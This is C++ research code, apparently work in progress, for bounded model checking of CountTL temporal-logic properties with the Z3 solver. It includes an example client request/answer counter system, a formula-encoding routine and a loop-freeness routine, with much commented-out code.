//-------------------------------------------------------------------------------------------------- //---------------------------------------Safety Property-------------------------------------------- //-------------------------------------------------------------------------------------------------- // std::string TLF = "(G(((~(x0))|(~(x1)))|(~(x2))))";//at least one of the state variable is 0 //-------------------------------------------------------------------------------------------------- //--------------------------------------Liveness Property------------------------------------------- //-------------------------------------------------------------------------------------------------- // std::string TLF = "(F(((x0)&(x1))&(x2)))";//all the state variables are eventually 1 //-------------------------------------------------------------------------------------------------- // std::cout << "The initial state set in symbolic form:" << IF << "\n\n" <<std::endl; // std::cout << "The Transition relation in symbolic form:" << TF << "\n\n" <<std::endl; // std::cout << "The CountTL Formula in symbolic form:" << TLF << "\n\n" <<std::endl; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- std::cout << "\n\nEnter the no. of state variables:->"; std::cin >> this->N; std::cout << "\n\n" <<std::endl; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- // loop for creating the current state variables [x0,x1,x2,etc.] for(unsigned i=0; i<this->N; ++i){ std::stringstream xName; xName << "x" << i; this->x.push_back(c.bool_const(xName.str().c_str())); } std::cout << this->x << "\n\n" <<std::endl;fflush(stdout); //-------------------------------------------------------------------------------------------------- // loop for creating the next state variables [y0,y1,y2,etc.] //-------------------------------------------------------------------------------------------------- for(unsigned i=0; i<this->N; ++i){ std::stringstream yName; yName << "y" << i; this->y.push_back(c.bool_const(yName.str().c_str())); } std::cout << this->y << "\n\n" <<std::endl;fflush(stdout); //-------------------------------------------------------------------------------------------------- //-----------The following state transition system is symbolically represented as (IF,TF)----------- //------------------------>000->100->110->111->111-------------------------------------------------- //-------------------------------------------------------------------------------------------------- this->IF=(!x[0] && !x[1] && !x[2]); // initial state formula --- initial state is (0,0,0) std::cout << "I is :" << this->IF << "\n\n" <<std::endl;fflush(stdout); this->TF= (y[0]== x[1]) && (y[1]==x[2]) && y[2];// transition relation formula --- right shift with MSB 1 std::cout << "T is :" << this->TF << "\n\n" <<std::endl;fflush(stdout); std::getchar(); //-------------------------------------------------------------------------------------------------- //--Convert the CountTL Formula TLF in text (string type) form to tree (FTree*) form //--Then assign this to CountTLF, so that it can later be used by other methods. //-------------------------------------------------------------------------------------------------- Formula CountTLFormula(TLF);//Creating an object of the type Formula with parameter TLF CountTLFormula.ftree_convert();//Converting TLF to tree form. std::cout << "\nFormula Tree for TLF Constructed...............\n" <<std::endl; // return(0); //read the formula tree for TLF and print the leaves std::cout << "\nReading the Formula Tree...............\n" <<std::endl; std::cout << "\nIn infix form:"; CountTLFormula.display_formula(); std::cout << "\n\n\n" <<std::endl; std::cout << "\nIn prefix form:"; CountTLFormula.display_formula_pre(); std::cout << "\n\n\n" <<std::endl; std::getchar(); // return(0); //-------------------------------------------------------------------------------------------------- //--------------Negate the CountTLFormula and construct the NNF------------------------------------- //-------------------------------------------------------------------------------------------------- FTree* TFormula = CountTLFormula.get_ftree(); FTree* NegTFormula = FTree::negate(TFormula); FTree* NegTFormulaRoot = NegTFormula->get_root(); FTree* TLFNode = CountTLFormula.const_nnf(NegTFormulaRoot,-1); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //--------------Assign the CountTL formula, in tree form, to the appropriate data member---------------- //---------------------- in the counttl_bmc object we are working with.----------------------------- //-------------------------------------------------------------------------------------------------- this->CountTLF = new FTree(TLFNode); //-------------------------------------------------------------------------------------------------- //---------------------definition of logical constants f and t.------------------------------------- //-------------------------------------------------------------------------------------------------- this->f=c.bool_const("f"); this->t=c.bool_const("t"); //-------------------------------------------------------------------------------------------------- //---------For k=0, we don't need to initialize x[0],x[1],.......,x[N-1]. Already done above. //-------------------------------------------------------------------------------------------------- //------Compute the necessary formulas for k=0 trace length, by calling the translate method. //-------------------------------------------------------------------------------------------------- this->translate(0); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Now compute the actual formula to be sent to SAT solver, for k=0 trace length. //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- S.add(alpha[0] && beta[0]); bool result=S.check(); if(result==sat){ //Print the counterexample and exit std::cout <<"\nThe counterexample is of length 0"; std::cout << "\n("; print_trace(0); return 0; } else{ std::cout <<"\nNo counterexample of length 0"; std::cout <<"\n----------------------------------------------------------------\n" <<std::endl; std::getchar(); } S.reset(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Run a loop to inductively check property for trace lengths of k>0. //-------------------------------------------------------------------------------------------------- int k=1; while(1){ std::cout <<"\nLooking at traces of length " << k; //-------------------------------------------------------------------------------------------------- //--------------Before we compute the various formulas in the translate routine,-------------------- //------------------ we should initialize the sequence of x expressions.---------------------------- //-------------------------------------------------------------------------------------------------- //------------loop for creating the current state variables [xk*N+0,xk*N+1,xk*N+2,etc.]------------- //-------------------------------------------------------------------------------------------------- for(unsigned i=0; i<N; ++i){ std::stringstream xName; xName << "x" << k*N+i; x.push_back(c.bool_const(xName.str().c_str())); } std::cout << "list of x variables:" << x << "\n\n" <<std::endl; std::getchar(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Translate the CountTLFormula to a PL formula for all traces of length k in the transition system (IF,TF). //CountTLformula is being asserted in an initial state at the time instant 0. //The CountTLFormula is encoded into the trace of length k. //This is done through an inductive process starting from point 0. //That is why we have an i in the encoding. //-------------------------------------------------------------------------------------------------- this->translate(k); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Now compute the actual formula to be sent to SAT solver //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ S.add(alpha[k] && beta[k]); //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ //Reset the previous switches //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ result=S.check(); if(result==sat){ //Print the counterexample and exit std::cout <<"\nThe counterexample is of length "<< k << "\n" <<std::endl;fflush(stdout); std::getchar(); print_trace(k); return 0; } else{ //Continue the loop std::cout <<"\nNo counterexample of length "<< k << "\n" <<std::endl; std::cout <<"\n----------------------------------------------------------------\n" <<std::endl; //-------------------------------------------------------------------------------------------------- k++;//move to the next trace length S.reset();//reset the SAT-solver state std::cout<<"Move to the next trace length k = " << k << "\n"; std::getchar(); continue; } } //-------------------------------------------------------------------------------------------------- return 0; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //------------------------CODE FOR LTL BMC ENDS----------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- */ //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------CODE FOR CountTL BMC BEGINS---------------------------------------------- //-------------------------------------------------------------------------------------------------- // int N_s;//N_s represents no. of state variables // int N_c;//N_c represents no. of client types // expr path(c); // expr that contains the path so far. // expr loopFree(c); // expr that contatins the loopFree formula so far. // solver S(c); // solver that is used to check satisfiability of formulas constructed. std::cout << "\n\nEnter the no. of state variables:->"; std::cin >> this->N_s; std::cout << "\n\n"; std::cout << "\n\nEnter the no. of client types:->"; std::cin >> this->N_c; std::cout << "\n\n"; // loop for creating the current state variables [x0, x1, x2, etc.] for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i; this->x.push_back(c.bool_const(xName.str().c_str())); } std::cout << this->x << "\n\n"; // loop for creating the next state variables [y0, y1, y2, etc.] for(unsigned i=0; i<N_s; ++i){ std::stringstream yName; yName << "y" << i; this->y.push_back(c.bool_const(yName.str().c_str())); } std::cout << this->y << "\n\n"; // loop for creating the current counter variables [u0, u1, u2, etc.] for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i; this->u.push_back(c.int_const(uName.str().c_str())); } std::cout << this->u << "\n\n"; // loop for creating the next counter variables [v0, v1, v2, etc.] for(unsigned i=0; i<N_c; ++i){ std::stringstream vName; vName << "v" << i; this->v.push_back(c.int_const(vName.str().c_str())); } std::cout << this->v << "\n\n"; // loop for creating the input variables [ip0, ip1, ip2, etc.] for(unsigned i=0; i<N_c; ++i){ std::stringstream ipName; ipName << "ip" << i; this->ip.push_back(c.bool_const(ipName.str().c_str())); } std::cout << this->ip << "\n\n"; // loop for creating the input variables [ip0, ip1, ip2, etc.] for(unsigned i=0; i<N_c; ++i){ std::stringstream ipeName; ipeName << "ipe" << i; this->ipe.push_back(c.bool_const(ipeName.str().c_str())); } std::cout << this->ipe << "\n\n"; //-------As N_s = 2, The number of (local) states in the counter system is 4. Let us call them q0=00, q1=01, q2=10 and q3=11. //-------Initial state is q0=00. The ip variable captures the request and answer messages in the system. As N_c = 2, the number of counters are 2 which keep track of number of active clients of each type in the system. //-------ip0=TRUE means there is a request of type 0 in the system. This leads to addition of a client of type 0 in the system. If ip0=FALSE then there is answer of type 0 in the system. This leads to removal of a client of type 0 from the system. //-------How the internal state of the system changes with respect to the inputs coming to the system is captured by transition relation T. //-------T is as follows: q0--req0-->q1--req1-->q2--ans0-->q3--ans1-->q0. //-------which is the same as: q0--ip0-->q1--!ip0-->q2--ip1-->q3--!ip1-->q0. //-------The behaviour of T is as follows: q0-->q1 increments the counter0, q1-->q2 increments counter1, q2-->q3 decrements counter0, q3-->q0 decrements counter1. this->IF=(!x[0] && !x[1]); // initial state formula std::cout << "I is :" << this->IF << "\n\n"; //-------Why do we have an extra (set of) variable/s, ipe? expr alpha1=(!x[0] && !x[1] && ipe[0] && ip[0]); expr alpha2=(x[0] && !x[1] && ipe[0] && !ip[0]); expr alpha3=(!x[0] && x[1] && ipe[1] && ip[1]); expr alpha4=(x[0] && x[1] && ipe[1] && !ip[1]); expr alpha=alpha1 || alpha2 || alpha3 || alpha4; this->TF= implies(alpha1,y[0] && !y[1]) && implies(alpha2,!y[0] && y[1]) && implies(alpha3,y[0] && y[1]) && implies(alpha4,!y[0] && !y[1]) && implies(!alpha,y[1]==x[1] && y[0]==x[0]); // transition formula std::cout << "T is :" << this->TF << "\n\n"; expr iP=(u[0]==0) && (u[1]==0); std::cout << "iP is :" << iP << "\n\n"; // expr P(c); // property formula //-------------------------------CountTL Formula Inputs--------------------------------------------- // We shall have a number of CountTL formulas here. // We consider safety properties // std::string CountTLF="(Ex(l(x)))";//--output correct // std::string CountTLF="((#x:1>1)(l(x:1)))";//--output correct // std::string CountTLF="(((#x:1>1)(l(x:1)))&((#y:2<=2)(l(y:2))))";//--output correct // here we have a safety property with X modality // if there are >1 active clients of type 1 then at least one of them are terminated in the next instance. std::string CountTLText="(((#x:1>1)(l(x:1)))%(X(Ex:1(t(x:1)))))";//-- //define a Formula object. This will create a formula object with expression (formula : CountTLText) as raw text. Formula CountTLFormula(CountTLText); //Using the methods in formula object we compute, first the formula tree and then eliminate quantifiers from the formula. //In this process, we gather necessary data from the formula, which can be used later -- Are we eliminating quantifiers here ? std::cout <<"\nThe input formula is:->" << CountTLText << std::endl; //convert the CountTLF to CountTLF tree. bool done=CountTLFormula.ftree_convert(); if(!done){ std::cout<< "\nFormula tree construction fails.\n"; return 0; } std::cout <<"\nFormula Tree Constructed...............\n"; std::cout <<"\nReading the Formula Tree...............\n"; std::cout <<"\nIn infix form:"; CountTLFormula.display_ftree(); std::cout <<"\n"; std::cout <<"\nIn prefix form:"; CountTLFormula.display_ftree_pre(); std::cout <<"\n"; CountTLFormula.display_lists(); CountTLFormula.display_nums(); return 0; //-------------------------------------------------------------------------------------------------- //--------------Negate the CountTLFormula, construct the NNF and------------------------------------ //--------------Assign the CountTL formula, in tree form, to the appropriate data member------------ //---------------------- in the counttl_bmc object we are working with.----------------------------- //-------------------------------------------------------------------------------------------------- FTree* TFormula = CountTLFormula.get_ftree(); FTree* NegTFormula = Formula::negate(TFormula); this->CountTLF = CountTLFormula.const_nnf(NegTFormula,-1); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-----------configurations are different from states.---------------------------------------------- //-----------initial configuration this->CountIF=I && u0==0 && u1 ==0------------------------------- //-------------------------------------------------------------------------------------------------- int MB = CountTLFormula.get_bound(); this->CountIF=this->IF; for(unsigned i=0; i<N_c; ++i){ this->CountIF=this->CountIF && (u[i]==0); }// This is okay. We want all counters to be zero intially. We also need to make sure they remain non-negative. //u[i] is the value of the ith counter before the transition. v[i] is the value of the ith counter after the transition. this->CountTF=this->TF; for(unsigned i=0; i<N_c; ++i){ this->CountTF=this->CountTF && implies(ipe[i]&& ip[i],(v[i]== u[i]+1)) && implies(ipe[i] && !ip[i],(v[i]== u[i]-1)) && implies(!ipe[i],(v[i]==u[i])) && u[i] >=0 && v[i]>=0; // && u[i] <= MB && v[i] <= MB; } /* //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------CountTL Formula Inputs--------------------------------------------- //-----------Now encode CountTL formula into a Z3 expression over counter values-------------------- //-------------------------------------------------------------------------------------------------- expr P = encode_into_pl(this->CountTLF,0,0); std::cout << "\n" << P << "\n"; //-------------------------------------------------------------------------------------------------- //check whether initial states (this->CountIF) are consistent with the property (P). S.add(this->CountIF && P); //-------------------------------------------------------------------------------------------------- // std::cout<<s<<"\n\n"; if(S.check()==sat){ std::cout << "\n\nInitial Property does not hold for some path of length 0 (i.e., some initial state).\n\n Here is the state---->"; std::cout << "\n\nLooking at the model\n\n"; model m = S.get_model(); std::cout << m << "\n\n"; // traversing the model for (unsigned i = 0; i < m.size(); i++) { std::cout << m[i] << "\n\n"; func_decl v = m[i]; //std::cout << v << "\n\n"; std::cout << v.name() << " = " << m.get_const_interp(v) << "\t"; } std::cout << "\n\n"; //getchar(); return 0; } //end of if else{ std::cout << "\n\nProperty holds for all paths of length 0 (i.e., all initial states).\n\nContinue........."; //getchar(); //getchar(); S.reset(); }//end of else // return 0; //-------------------------------------------------------------------------------------------------- int k=1; while(1){ // //The encoding of the property will change with the size of the trace -- due to the presence of X. P = encode_into_pl(this->CountTLF,0,k); //-------------------------------------------------------------------------------------------------- //First we construct expression vectors that will be needed to intantiate T and P //-------------------------------------------------------------------------------------------------- //For state variables -- why are we using different expression vectors instead of x ? //-------------------------------------------------------------------------------------------------- expr_vector z(c); for(unsigned i=0; i<k*N_s; ++i){ std::stringstream xName; xName << "x" << i; z.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z << "\n\n"; expr_vector z0(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*(k-1); z0.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z0 << "\n\n"; expr_vector z1(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*k; z1.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z1 << "\n\n"; //-------------------------------------------------------------------------------------------------- for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*k; x.push_back(c.bool_const(xName.str().c_str())); } //-------------------------------------------------------------------------------------------------- //For counter variables -- why are we using different expression vectors instead of u ? //-------------------------------------------------------------------------------------------------- expr_vector w(c); for(unsigned i=0; i<k*N_c; ++i){ std::stringstream uName; uName << "u" << i; w.push_back(c.int_const(uName.str().c_str())); } //std::cout << w << "\n\n"; expr_vector w0(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*(k-1); w0.push_back(c.int_const(uName.str().c_str())); } //std::cout << w0 << "\n\n"; expr_vector w1(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*k; w1.push_back(c.int_const(uName.str().c_str())); } //std::cout << w1 << "\n\n"; //-------------------------------------------------------------------------------------------------- for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*k; u.push_back(c.bool_const(uName.str().c_str())); } //-------------------------------------------------------------------------------------------------- //For input variables -- why are we using different expression vectors instead of ip and ipe ? //-------------------------------------------------------------------------------------------------- expr_vector jp(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream ipName; ipName << "ip" << i+N_c*(k-1); jp.push_back(c.bool_const(ipName.str().c_str())); } //std::cout << jp << "\n\n"; expr_vector jpe(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream ipeName; ipeName << "ipe" << i+N_c*(k-1); jpe.push_back(c.bool_const(ipeName.str().c_str())); } //std::cout << jpe << "\n\n"; //-------------------------------------------------------------------------------------------------- for(unsigned i=0; i<N_c; ++i){ std::stringstream ipName; ipName << "u" << i+N_c*k; ip.push_back(c.bool_const(ipName.str().c_str())); } for(unsigned i=0; i<N_c; ++i){ std::stringstream ipeName; ipeName << "u" << i+N_c*k; ipe.push_back(c.bool_const(ipeName.str().c_str())); } //-------------------------------------------------------------------------------------------------- //Now, compute loopFree expression ------------- This is important --- Needed for termination ------ //-------------------------------------------------------------------------------------------------- /* expr temp0(c); expr temp1(c); temp0=(z1[0]!=z[0]); for(unsigned i=1; i<N_s; ++i){ temp0=temp0 || (z1[i]!=z[i]); } for(unsigned i=1; i<N_c; ++i){ temp0=temp0 || (w1[i]!=w[i]); } temp1=temp0; for(unsigned j=1; j<k; ++j){ temp0=(z1[0]!=z[N_s*j]); for(unsigned i=1; i<N_s; ++i){ temp0=temp0 || (z1[i]!=z[N_s*j+i]); } for(unsigned i=1; i<N_c; ++i){ temp0=temp0 || (w1[i]!=w[N_c*j+i]); } temp1=temp1 && temp0; } if(k==1){ loopFree=temp1; } else{ loopFree=loopFree && temp1; } std::cout << "\n\nLoopFree formula is-->"<< loopFree <<"\n\n"; //getchar();*/ //-------------------------------------------------------------------------------------------------- //Now, instantiate T and compute path expression //-------------------------------------------------------------------------------------------------- //subT is T(x,y) with x=(x0,x1,x2) replaced current state z0 and y=(y0,y1,y2) replaced by next state z1. //-------------------------------------------------------------------------------------------------- /* expr subTF(c); subTF=this->CountTF.substitute(y,z1); //std::cout << subT << "\n\n"; subTF=subTF.substitute(x,z0); //std::cout << subT << "\n\n"; //std::cout << "v is " << v << "\n\n"; //std::cout << "w1 is " << w1 << "\n\n"; subTF=subTF.substitute(v,w1); //std::cout << subT << "\n\n"; subTF=subTF.substitute(u,w0); //std::cout << subT << "\n\n"; subTF=subTF.substitute(ip,jp); //std::cout << subT << "\n\n"; subTF=subTF.substitute(ipe,jpe); //std::cout << subT << "\n\n"; //std::cout << "T substituted : " << subT << "\n\n"; //getchar(); //update the path expression by adding subT if(k==1){ path=subTF; } else{ path=path && subTF; } //Now, instantiate P //expr subP(c); //subP=iP.substitute(x,z1); //std::cout << "P substituted : " << subP << "\n\n"; //getchar(); //Before we do safety check, we need to check the bound (forward and/or backward) //first, check forward bound /* S.add(this->CountIF && path && loopFree); if(S.check()==unsat){//there is no path of length k starting from a initial state with all states distinguishable. //that means there is a (k,l) loop with 0<=l<=k std::cout << "\n\nForward bound reached for k= " << k << ".\n\nSafety Property holds for all reachable stateS. \n\nExiting......\n\n"; return 0; } else{ std::cout << "\n\nForward bound not reached.\n\nChecking backward bound......\n\n"; S.reset(); } //now check backward bound S.add(path && loopFree && !subP); if(S.check()==unsat){//there is no path of length k starting from an unsafe state with all states distinguishable. //that means we can not reach from an unsafe state to initial state std::cout << "\n\nBackward bound reached for k= " << k << ".\n\nSafety Property holds for all reachable states. \n\nExiting......\n\n"; return 0; } else{ std::cout << "\n\nBackward bound not reached.\n\nChecking Safety for extended runs......\n\n"; S.reset(); } */ /* //Safety Check //check whether the next reachable state fails the safety property S.add(this->CountIF && path && P); //if yes then print the trace and get out if(S.check()==sat){ std::cout << "\n\nProperty does not hold for path of length " << k <<"\n\n Here is the trace"; //std::cout << "\n\nLooking at the model\n\n"; model m = S.get_model(); std::cout << m << "\n\n"; // traversing the model // for (unsigned i = 0; i < m.size(); i++) { // std::cout << m[i] << "\n\n"; // func_decl v = m[i]; // std::cout << v << "\n\n"; // this problem contains only constants // assert(v.arity() == 0); // std::cout << v.name() << " = " << m.get_const_interp(v) << " "; //} // std::cout << "\n\n"; getchar(); return 0; }//end of if //or look at paths of length k+1. else{ std::cout << "\n\nProperty holds for all paths of length " << k <<"\n\nContinue....."; getchar(); k++; //before you move to longer paths, reset the solver S.reset(); continue; }//end of else }//end of while */ //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //------------Here we have code for CountTL BMC that mimics that of LTL BMC------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //---------------------definition of logical constants f and t.------------------------------------- //-------------------------------------------------------------------------------------------------- this->F=c.bool_const("F"); this->T=c.bool_const("T"); //-------------------------------------------------------------------------------------------------- //------Compute the necessary formulas for k=0 trace length, by calling the translate method. //-------------------------------------------------------------------------------------------------- this->translate(0); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Now compute the actual formula to be sent to SAT solver, for k=0 trace length. //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- S.add(alpha[0] && beta[0]); bool result=S.check(); if(result==sat){ //Print the counterexample and exit : what does sat mean? std::cout <<"\nThe counterexample is of length 0"; std::cout << "\n("; print_trace(0); return 0; } else{ //what does unsat mean? std::cout <<"\nNo counterexample of length 0"; std::cout <<"\n----------------------------------------------------------------\n" <<std::endl; std::getchar(); } S.reset(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Run a loop to inductively check property for trace lengths of k>0. //-------------------------------------------------------------------------------------------------- int k=1; while(1){ std::cout <<"\nLooking at traces of length " << k; //-----------For the present case we need to do more initializations-------------------------------- //-----------------We have may more variables: ip, ipe, u, v, etc.---------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //--------------Before we compute the various formulas in the translate routine,-------------------- //------------------ we should initialize the sequence of x expressions.---------------------------- //-------------------------------------------------------------------------------------------------- //------------loop for creating the current state variables [xk*N+0,xk*N+1,xk*N+2,etc.]------------- //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_s; ++i){ // std::stringstream xName; // xName << "x" << k*N+i; // x.push_back(c.bool_const(xName.str().c_str())); // } // std::cout << "list of x variables:" << x << "\n\n" <<std::endl; // std::getchar(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Translate the CountTLFormula to a PL formula for all traces of length k in the transition system (IF,TF). //CountTLformula is being asserted in an initial state at the time instant 0. //The CountTLFormula is encoded into the trace of length k. //This is done through an inductive process starting from point 0. //That is why we have an i in the encoding. //-------------------------------------------------------------------------------------------------- this->translate(k); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Now compute the actual formula to be sent to SAT solver //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ S.add(alpha[k] && beta[k]); //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ //Reset the previous switches //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ result=S.check(); if(result==sat){ //Print the counterexample and exit std::cout <<"\nThe counterexample is of length "<< k << "\n" <<std::endl;fflush(stdout); std::getchar(); print_trace(k); return 0; } else{ //Continue the loop std::cout <<"\nNo counterexample of length "<< k << "\n" <<std::endl; std::cout <<"\n----------------------------------------------------------------\n" <<std::endl; //-------------------------------------------------------------------------------------------------- k++;//move to the next trace length S.reset();//reset the SAT-solver state std::cout<<"Move to the next trace length k = " << k << "\n"; std::getchar(); continue; } }//end of while //-------------------------------------------------------------------------------------------------- return 0; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //------------------------CODE FOR CountTL BMC ENDS------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- <file_sep>/bmc-counttl-methods.cpp #include "bmc-counttl.h" //-------------------------------------------------------------------------------------------------- //----------------------------------Simple Encoding Routine----------------------------------------- //-----------------------------------------Begins--------------------------------------------------- expr counttl_bmc::encode_into_pl(FTree* TLF,int k,int limit){ expr new_l_exp(c); expr new_r_exp(c); expr new_exp(c); std::cout << "\nWe are in the encoding routine -- that converts following countTL formula to PL."; Formula::display_ft(TLF); std::cout << "\n"; fflush(stdout); //getchar();//getchar(); if(TLF==NULL){ std::cout<<"\nError in the formula tree.\n"; exit(1); } fflush(stdout); switch(TLF->val[0]){ //---------------------------------------------------------------------------------------------------------------- case '|': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); new_l_exp=encode_into_pl(TLF->left,k,limit); new_r_exp=encode_into_pl(TLF->right,k,limit); return(new_l_exp || new_r_exp); //---------------------------------------------------------------------------------------------------------------- case '&': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); new_l_exp=encode_into_pl(TLF->left,k,limit); new_r_exp=encode_into_pl(TLF->right,k,limit); return(new_l_exp && new_r_exp); //---------------------------------------------------------------------------------------------------------------- case '%': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); new_l_exp=encode_into_pl(TLF->left,k,limit); new_r_exp=encode_into_pl(TLF->right,k,limit); return(implies(new_l_exp,new_r_exp)); //---------------------------------------------------------------------------------------------------------------- case '~': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); fflush(stdout); new_exp=encode_into_pl(TLF->next,k,limit); return(!new_exp); //---------------------------------------------------------------------------------------------------------------- case 'X': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); if(k<limit) return encode_into_pl(TLF->next,k+1,limit); else return (F && false); //---------------------------------------------------------------------------------------------------------------- //what is TLF->iclient? //at this point we need to differentiate between t(x) and l(x). case '#': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); //what is TLF->ctype? switch(TLF->next->val[0]){ case 'l': std::cout << "We are doing a case analysis of TLF->ctype with value: -> " << TLF->ctype << "\n"; std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->ctype){ case 0: std::cout << "We are in case 0.\n"; return u[k*N_c+TLF->iclient] <= TLF->bound+1; case 1: std::cout << "We are in case 1.\n"; return u[k*N_c+TLF->iclient] <= TLF->bound; } case 't': std::cout << "We are doing a case analysis of TLF->ctype with value: -> " << TLF->ctype << "\n"; std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->ctype){ case 0: std::cout << "We are in case 0.\n"; return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] <= TLF->bound+1; case 1: std::cout << "We are in case 1.\n"; return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] <= TLF->bound; } } //---------------------------------------------------------------------------------------------------------------- //at this point too we need to differentiate between t(x) and l(x). case 'E': std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->next->val[0]){ case 'l': return u[k*N_c+TLF->iclient] > 0; case 't': return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] > 0; } //-------------------------------------------------------------------------------------------------- default: std::cout<<"\nError in input.\n"; exit(1); //-------------------------------------------------------------------------------------------------- } }//end of encode routine //----------------------------------Simple Encoding Routine----------------------------------------- //-------------------------------------------Ends--------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //----------------loopFree_at_k() is not needed for CountTL-BMC.------------------------------------ //-------------------------------------------------------------------------------------------------- expr counttl_bmc::loopFree_at_k(int k) { // z vector contains the following variables : (x_0,x_1,...x_{N_s-1},x_{N_s},x_{N_s+1},....,x_{2*N_s-1},....x_{(k-1)*N_s},x_{(k-1)N_s+1},...,x_{k*N_s-1}) --- First (k-1) set of state variables. expr_vector z(c); for(unsigned i=0; i<k*N_s; ++i){ std::stringstream xName; xName << "x" << i; z.push_back(c.bool_const(xName.str().c_str())); } // std::cout << "\n\ncontents of z are" << z << "\n" << std::endl; // getchar(); // z1 vector contains the following variables : (x_{k*N_s},x_{k*N_s+1},.....x_{k*N_s+N_s-1}) --- Last (kth) set of state variables. expr_vector z1(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*k; z1.push_back(c.bool_const(xName.str().c_str())); } // std::cout << "\n\ncontents of z1 are" << z1 << "\n" << std::endl; // getchar(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- // w vector contains the following variables : (u_0,u_1,...u_{N_c-1},u_{N_c},u_{N_c+1},....,u_{2*N_c-1},....u_{(k-1)*N_c},u_{(k-1)N_c+1},...,u_{k*N_c-1}) --- First (k-1) set of counter variables. //-------------------------------------------------------------------------------------------------- expr_vector w(c); for(unsigned i=0; i<k*N_c; ++i){ std::stringstream wName; wName << "u" << i; w.push_back(c.bool_const(wName.str().c_str())); } // std::cout << "\n\ncontents of w are" << w << "\n" << std::endl; // getchar(); //-------------------------------------------------------------------------------------------------- // w1 vector contains the following variables : (w_{k*N_c},w_{k*N_c+1},.....w_{k*N_c+N_c-1}) --- Last (kth) set of state variables. //-------------------------------------------------------------------------------------------------- expr_vector w1(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream wName; wName << "u" << i+N_c*k; w1.push_back(c.bool_const(wName.str().c_str())); } // std::cout << "\n\ncontents of z1 are" << z1 << "\n" << std::endl; // getchar(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Now, compute loopFree expression std::cout << "\n\nNow we compute loopFree expression for k=" << k << "\n" << std::endl; expr temp0(c); expr temp1(c); temp0=(z1[0]!=z[0]); for(unsigned i=1; i<N_s; ++i){ temp0=temp0 || (z1[i]!=z[i]); } temp0 = temp0 || (w1[0]!=w[0]); for(unsigned i=1; i<N_c; ++i){ temp0=temp0 || (w1[i]!=w[i]); } //-------------------------------------------------------------------------------------------------- // temp0 is s_0 != s_k //-------------------------------------------------------------------------------------------------- temp1=temp0; for(unsigned j=1; j<k; ++j){ 